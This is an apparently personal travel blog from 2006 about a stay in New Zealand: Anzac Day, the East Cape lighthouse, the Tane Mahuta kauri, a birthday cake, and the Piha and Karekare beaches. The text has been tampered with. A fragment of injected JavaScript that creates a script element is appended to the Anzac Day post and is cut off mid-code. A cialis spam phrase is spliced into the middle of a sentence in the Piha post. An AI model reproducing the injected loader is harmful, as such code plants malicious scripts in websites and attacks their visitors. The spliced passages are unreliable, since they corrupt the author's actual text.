Playing Pool

Posted by admin On April - 25 - 2006ADD COMMENTS

Today was another public holiday in New Zealand – Anzac Day. They honour the soldiers of the first and second world war. On the public holidays almost everywhere it is impossible to drink alcohol in public in bars as well. I was today playing pool with Steele and his friends and I had fun.var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

The East Cape Lighthouse

Posted by admin On April - 22 - 2006ADD COMMENTS

On the way to Gisborne we stopped at the wonderful East Cape were you can visit the lighthouse. It was worth it but you have to climb about 700 stairs up to the top of the hill were the lighthouse is.
Finally the last stop of this trip was Gisborne. A town with big harbor and the most east town of the world. The people here are the first who welcome the new year and of course the new morning.

…till dawn

Posted by admin On April - 22 - 2006ADD COMMENTS

Tired at 5:00am in the morning I was looking forward to watch the most beautiful sunrise I had ever seen. It was breath taking. Everything was touched of red sunlight.

At 9:00am I should meet Doug (www.whalesanddolphin.co.nz) for a trip with boat to swim with the dolphins. This was my big wish and I thought this day will be the day. Unfortunately I saw not even one dolphin or whale. Just seals and penguins. But Doug invited me for another try. But all in all the trip was wonderful. The boat was as fast as a speedboat and feels like that when it jumped over the waves.

From dusk…

Posted by admin On April - 21 - 2006ADD COMMENTS

Friday evening I started in Auckland for a trip on the east coast of the north island of New Zealand. Somebody I knew offered to give me a ride since I don’t have a car.  On the way I saw a massive kiwi sign at a big kiwi plantation. We were in no rush so in the evening we arrived in Whakatane a town at the Bay of Plenty. It was just the right time for making nice sunset photos at the beach. Then I had a great dinner with delicious seafood and I decided to get up at 5:00am the next morning for taking pictures of the sunrise at the ocean.

Don’t forget: If you’re cooking shellfish like this mussels above – cook them in their own juice! Only then you have the typical mussel taste because the water inside is salty. The tap water spoils the taste. Just put enough water in the pot that the ground is filled – not more! Cook them until they open themselves – ready! Mhhhmmmm…..

Tane Mahuta

Posted by admin On April - 16 - 2006ADD COMMENTS

On Easter Sunday Steele a friend of mine picked me up at 7:30 in the morning for a day trip to the north of the north island. Was my birthday trip 🙂 The weather was mixed but all in all we had mostly sunshine. First we drove over Whangarei to Paihia one of the coast towns at the “Bay of Islands”. We had there a New Zealand breakfast and watched a bit the little shops and the beach.
In one shop I found a big poster of the world oldest tree a gigantic Kauri in the Waipoua Forest. Steele was so gentle to bring me down there. The trip was from the east to the west coast. We stopped at the coast at Opononi for this wonderful view.
The name of the old tree is “Tane Mahuta” and it means God of the forest after an old Maori myth. The tree is more than 2000 years old and more than 50m high. The circumference is 13,8m. Imagine what the old tree all experienced. This Kauri was there before the polynisian and the first european people arrived. This Kauri is so huge. Unbelievable. Photos can’t express the impression you have in front of this relict of ancient times. And I never knew before that the oldest tree on earth is in New Zealand.

My Birthday

Posted by admin On April - 13 - 2006ADD COMMENTS

Unfortunally today is my birthday and I become one year older… As usual I wanted to do a cake but have no equipment for doing it. So I decide yesterday that I will buy one finally you have only one bithday a year. So the friend of mine David and I went to “Rocket kitchen” and then I did a really difficult decision – I had to select one of about 15 nice cakes. I love chocolate and also the shop girl recommanded the chocolate whiskey cake to me. So I bought it and regretted it not till today. It´s a wonderful cake. Was the right choice.

Every candle means one year…and you can build a nice candle pyramid.

Hot cross buns

Posted by admin On April - 10 - 2006ADD COMMENTS

In New Zealand over Easter they have the tradition to eat hot cross buns. This are little spiced bun with white crosses on the top. Taste a bit after german “Lebkuchen”. Delicious!

And this are my favourite sweet – Mellow Puffs. You can only by them in New Zealand.

Piha and Karekare beach

Posted by admin On April - 6 - 2006ADD COMMENTS

This Thursday the weather was perfect for a trip to Karekare and Piha beach. To drive there from Auckland you will need 1 1/2h. That’s not this far and the way goes through the small roads in the bush. Wonderful. First we stopped at a giant waterfall on the way to Karekare beach. As I said once the sand of the beaches of the western coast is black due its volcanic heritage. On the opposite on the eastern coast the sand is white. Karekare was wonderful, wild and almost empty…The waves this time not this high. No wonder that the producers of ‘The Piano’ choose this beach as scenery for some of the magnificent shots.

After visiting Karekare we visited the famous Piha beach. They say it’s the most dangerous beach on earth, every year many people die in an accident because they are too reckless. There are big slipstreams. In the middle of Piha beach is a giant rock called lion rock because it looks like a laying lion.

Listen and marvel – I had a great day today. I had done my first photo job for the “Player” magazine. A friend of mine, does 5mg cialis get you hard David, got an interview with the legendary Wynton Rufer. He is the one and only soccer/football player here in New Zealand. Years ago he played as well in Europe. In Germany for example he played with Otto Rehagel as coach for Werder Bremen. Nowadays he trained the young talents here in Auckland in his Wynrs Soccer School. The kids loved it and I enjoyed the day and had lots of fun at the soccer school.

Last but not least I found finally a new place to stay with two nice guys as roommates. Pictures will followed…At the moment there will be no internet, hope we organize it soon…
And during my blog writing i got a visitor – a praying mantis.
